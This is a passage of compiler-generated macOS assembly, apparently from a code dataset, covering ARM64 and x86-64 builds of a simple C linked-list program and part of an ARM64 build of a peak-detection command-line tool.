; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _head@PAGE
ldr x9, [x8, _head@PAGEOFF]
str x9, [sp, #8]
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB4_1
LBB4_3:
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp]
ldr x8, [sp, #8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr x0, [sp]
bl _free
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _removeat ; -- Begin function removeat
.p2align 2
_removeat: ; @removeat
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov w8, #1
stur w8, [x29, #-8]
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp, #16]
; kill: def $x8 killed $xzr
str xzr, [sp, #8]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #1
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_3
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldr x8, [sp, #16]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB5_1
LBB5_3:
ldr x8, [sp, #16]
ldr x8, [x8, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
ldr x8, [sp, #16]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr x8, [sp, #16]
ldr x0, [x8, #8]
bl _free
ldr x8, [sp, #8]
ldr x9, [sp, #16]
str x8, [x9, #8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _printlist ; -- Begin function printlist
.p2align 2
_printlist: ; @printlist
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp, #8]
b LBB6_1
LBB6_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB6_3
b LBB6_2
LBB6_2: ; in Loop: Header=BB6_1 Depth=1
ldr x8, [sp, #8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB6_1
LBB6_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _size ; -- Begin function size
.p2align 2
_size: ; @size
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, #12]
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp]
b LBB7_1
LBB7_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB7_3
b LBB7_2
LBB7_2: ; in Loop: Header=BB7_1 Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
str x8, [sp]
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB7_1
LBB7_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w0, #0
stur w0, [x29, #-8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
bl _append
mov w0, #1
bl _append
mov w0, #2
bl _append
mov w0, #3
stur w0, [x29, #-12] ; 4-byte Folded Spill
bl _append
mov w0, #4
bl _append
mov w0, #5
bl _append
mov w0, #6
bl _append
mov w0, #7
bl _append
ldur w0, [x29, #-12] ; 4-byte Folded Reload
mov w1, #18
bl _insertat
ldur w0, [x29, #-12] ; 4-byte Folded Reload
bl _removeat
bl _printlist
bl _size
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur w0, [x29, #-8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _head ; @head
.zerofill __DATA,__common,_head,8,3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "d: %d \n"
l_.str.1: ; @.str.1
.asciz "%d \n"
l_.str.2: ; @.str.2
.asciz "size = %d \n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _append ## -- Begin function append
.p2align 4, 0x90
_append: ## @append
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
cmpq $0, _head(%rip)
jne LBB0_2
## %bb.1:
movl $16, %edi
callq _malloc
movq %rax, _head(%rip)
movl -4(%rbp), %ecx
movq _head(%rip), %rax
movl %ecx, (%rax)
movq _head(%rip), %rax
movq $0, 8(%rax)
jmp LBB0_6
LBB0_2:
movq _head(%rip), %rax
movq %rax, -16(%rbp)
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
cmpq $0, 8(%rax)
je LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
jmp LBB0_3
LBB0_5:
movl $16, %edi
callq _malloc
movq %rax, %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movq 8(%rax), %rax
movl %ecx, (%rax)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq $0, 8(%rax)
LBB0_6:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insertfirst ## -- Begin function insertfirst
.p2align 4, 0x90
_insertfirst: ## @insertfirst
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq $0, -16(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
movq _head(%rip), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -16(%rbp), %rax
movq %rax, _head(%rip)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insertat ## -- Begin function insertat
.p2align 4, 0x90
_insertat: ## @insertat
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl $1, -12(%rbp)
movq _head(%rip), %rax
movq %rax, -24(%rbp)
movq $0, -32(%rbp)
movq $0, -40(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
subl $1, %eax
cmpl -12(%rbp), %eax
jle LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB2_1
LBB2_3:
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
movq -32(%rbp), %rax
movl (%rax), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $16, %edi
callq _malloc
movq %rax, -40(%rbp)
movl -8(%rbp), %ecx
movq -40(%rbp), %rax
movl %ecx, (%rax)
movq -32(%rbp), %rcx
movq -40(%rbp), %rax
movq %rcx, 8(%rax)
movq -40(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _removefirst ## -- Begin function removefirst
.p2align 4, 0x90
_removefirst: ## @removefirst
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq $0, -8(%rbp)
movq _head(%rip), %rax
movq %rax, -8(%rbp)
movq _head(%rip), %rax
movq 8(%rax), %rax
movq %rax, _head(%rip)
movq -8(%rbp), %rdi
callq _free
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _removelast ## -- Begin function removelast
.p2align 4, 0x90
_removelast: ## @removelast
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _head(%rip), %rax
movq %rax, -8(%rbp)
movq _head(%rip), %rax
movq %rax, -16(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movq 8(%rax), %rax
cmpq $0, 8(%rax)
je LBB4_3
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB4_1
LBB4_3:
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
movq $0, 8(%rax)
movq -16(%rbp), %rdi
callq _free
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _removeat ## -- Begin function removeat
.p2align 4, 0x90
_removeat: ## @removeat
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl $1, -8(%rbp)
movq _head(%rip), %rax
movq %rax, -16(%rbp)
movq $0, -24(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
subl $1, %eax
cmpl -8(%rbp), %eax
jle LBB5_3
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB5_1
LBB5_3:
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
movq -16(%rbp), %rax
movq $0, 8(%rax)
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _free
movq -24(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _printlist ## -- Begin function printlist
.p2align 4, 0x90
_printlist: ## @printlist
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _head(%rip), %rax
movq %rax, -8(%rbp)
LBB6_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -8(%rbp)
je LBB6_3
## %bb.2: ## in Loop: Header=BB6_1 Depth=1
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB6_1
LBB6_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _size ## -- Begin function size
.p2align 4, 0x90
_size: ## @size
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movq _head(%rip), %rax
movq %rax, -16(%rbp)
LBB7_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -16(%rbp)
je LBB7_3
## %bb.2: ## in Loop: Header=BB7_1 Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB7_1
LBB7_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
xorl %edi, %edi
callq _append
movl $1, %edi
callq _append
movl $2, %edi
callq _append
movl $3, %edi
callq _append
movl $4, %edi
callq _append
movl $5, %edi
callq _append
movl $6, %edi
callq _append
movl $7, %edi
callq _append
movl $3, %edi
movl $18, %esi
callq _insertat
movl $3, %edi
callq _removeat
callq _printlist
callq _size
movl %eax, %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _head ## @head
.zerofill __DATA,__common,_head,8,3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "d: %d \n"
L_.str.1: ## @.str.1
.asciz "%d \n"
L_.str.2: ## @.str.2
.asciz "size = %d \n"
.subsections_via_symbols
| the_stack_data/178266553.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _print_help ; -- Begin function print_help
.p2align 2
_print_help: ; @print_help
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.globl _print_version ; -- Begin function print_version
.p2align 2
_print_version: ; @print_version
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fprintf
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.globl _detect_peak ; -- Begin function detect_peak
.p2align 2
_detect_peak: ; @detect_peak
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
ldr w8, [sp, #128]
str x0, [sp, #112]
str w1, [sp, #108]
str x2, [sp, #96]
str x3, [sp, #88]
str w4, [sp, #84]
str x5, [sp, #72]
str x6, [sp, #64]
str w7, [sp, #60]
str d0, [sp, #48]
str w8, [sp, #44]
str wzr, [sp, #20]
str wzr, [sp, #16]
ldr w8, [sp, #44]
str w8, [sp, #12]
ldr x8, [sp, #112]
ldr d0, [x8]
str d0, [sp, #32]
ldr x8, [sp, #112]
ldr d0, [x8]
str d0, [sp, #24]
ldr x8, [sp, #88]
str wzr, [x8]
ldr x8, [sp, #64]
str wzr, [x8]
mov w8, #1
str w8, [sp, #40]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #40]
ldr w9, [sp, #108]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_19
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #112]
ldrsw x9, [sp, #40]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp, #32]
fcmp d0, d1
cset w8, le
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #40]
str w8, [sp, #20]
ldr x8, [sp, #112]
ldrsw x9, [sp, #40]
ldr d0, [x8, x9, lsl #3]
str d0, [sp, #32]
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #112]
ldrsw x9, [sp, #40]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp, #24]
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #40]
str w8, [sp, #16]
ldr x8, [sp, #112]
ldrsw x9, [sp, #40]
ldr d0, [x8, x9, lsl #3]
str d0, [sp, #24]
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_11
b LBB2_7
LBB2_7: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #112]
ldrsw x9, [sp, #40]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp, #32]
ldr d2, [sp, #48]
fsub d1, d1, d2
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB2_11
b LBB2_8
LBB2_8: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #88]
ldr w8, [x8]
ldr w9, [sp, #84]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB2_10
b LBB2_9
LBB2_9:
mov w8, #1
str w8, [sp, #124]
b LBB2_20
LBB2_10: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #20]
ldr x9, [sp, #96]
ldr x10, [sp, #88]
ldrsw x10, [x10]
str w8, [x9, x10, lsl #2]
ldr x9, [sp, #88]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
str wzr, [sp, #12]
ldr w8, [sp, #20]
subs w8, w8, #1
str w8, [sp, #40]
ldr x8, [sp, #112]
ldrsw x9, [sp, #20]
ldr d0, [x8, x9, lsl #3]
str d0, [sp, #24]
ldr w8, [sp, #20]
str w8, [sp, #16]
b LBB2_17
LBB2_11: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB2_16
b LBB2_12
LBB2_12: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #112]
ldrsw x9, [sp, #40]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp, #24]
ldr d2, [sp, #48]
fadd d1, d1, d2
fcmp d0, d1
cset w8, le
tbnz w8, #0, LBB2_16
b LBB2_13
LBB2_13: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #64]
ldr w8, [x8]
ldr w9, [sp, #60]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB2_15
b LBB2_14
LBB2_14:
mov w8, #2
str w8, [sp, #124]
b LBB2_20
LBB2_15: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #16]
ldr x9, [sp, #72]
ldr x10, [sp, #64]
ldrsw x10, [x10]
str w8, [x9, x10, lsl #2]
ldr x10, [sp, #64]
ldr w9, [x10]
mov w8, #1
add w9, w9, #1
str w9, [x10]
str w8, [sp, #12]
ldr w8, [sp, #16]
subs w8, w8, #1
str w8, [sp, #40]
ldr x8, [sp, #112]
ldrsw x9, [sp, #16]
ldr d0, [x8, x9, lsl #3]
str d0, [sp, #32]
ldr w8, [sp, #16]
str w8, [sp, #20]
b LBB2_16
LBB2_16: ; in Loop: Header=BB2_1 Depth=1
b LBB2_17
LBB2_17: ; in Loop: Header=BB2_1 Depth=1
b LBB2_18
LBB2_18: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #40]
add w8, w8, #1
str w8, [sp, #40]
b LBB2_1
LBB2_19:
str wzr, [sp, #124]
b LBB2_20
LBB2_20:
ldr w0, [sp, #124]
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI3_0:
.quad 0x3eb0c6f7a0b5ed8d ; double 9.9999999999999995E-7
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1904
sub x8, x29, #56
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp, #40] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #140]
str w0, [sp, #136]
str x1, [sp, #128]
str wzr, [sp, #124]
str wzr, [sp, #120]
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp, #112]
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp, #104]
adrp x8, lCPI3_0@PAGE
ldr d0, [x8, lCPI3_0@PAGEOFF]
str d0, [sp, #88]
str wzr, [sp, #84]
str wzr, [sp, #76]
str wzr, [sp, #72]
str wzr, [sp, #68]
str wzr, [sp, #64]
mov w8, #1
str w8, [sp, #100]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #100]
ldr w9, [sp, #136]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_44
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #76]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
bl _atof
str d0, [sp, #88]
str wzr, [sp, #76]
b LBB3_42
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #72]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_8
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fopen
str x0, [sp, #104]
ldr x8, [sp, #104]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB3_7
b LBB3_6
LBB3_6:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x1, [x8, x9, lsl #3]
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
LBB3_7: ; in Loop: Header=BB3_1 Depth=1
str wzr, [sp, #72]
b LBB3_41
LBB3_8: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #68]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_12
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _fopen
str x0, [sp, #112]
ldr x8, [sp, #112]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB3_11
b LBB3_10
LBB3_10:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x1, [x8, x9, lsl #3]
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
LBB3_11: ; in Loop: Header=BB3_1 Depth=1
str wzr, [sp, #68]
b LBB3_40
LBB3_12: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #64]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_20
b LBB3_13
LBB3_13: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_15
b LBB3_14
LBB3_14: ; in Loop: Header=BB3_1 Depth=1
str wzr, [sp, #84]
b LBB3_19
LBB3_15: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_17
b LBB3_16
LBB3_16: ; in Loop: Header=BB3_1 Depth=1
mov w8, #1
str w8, [sp, #84]
b LBB3_18
LBB3_17:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x1, [x8, x9, lsl #3]
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
mov w0, #4
bl _exit
LBB3_18: ; in Loop: Header=BB3_1 Depth=1
b LBB3_19
LBB3_19: ; in Loop: Header=BB3_1 Depth=1
str wzr, [sp, #64]
b LBB3_39
LBB3_20: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_22
b LBB3_21
LBB3_21: ; in Loop: Header=BB3_1 Depth=1
mov w8, #1
str w8, [sp, #76]
b LBB3_38
LBB3_22: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_24
b LBB3_23
LBB3_23: ; in Loop: Header=BB3_1 Depth=1
mov w8, #1
str w8, [sp, #72]
b LBB3_37
LBB3_24: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_26
b LBB3_25
LBB3_25: ; in Loop: Header=BB3_1 Depth=1
mov w8, #1
str w8, [sp, #68]
b LBB3_36
LBB3_26: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_28
b LBB3_27
LBB3_27: ; in Loop: Header=BB3_1 Depth=1
mov w8, #1
str w8, [sp, #64]
b LBB3_35
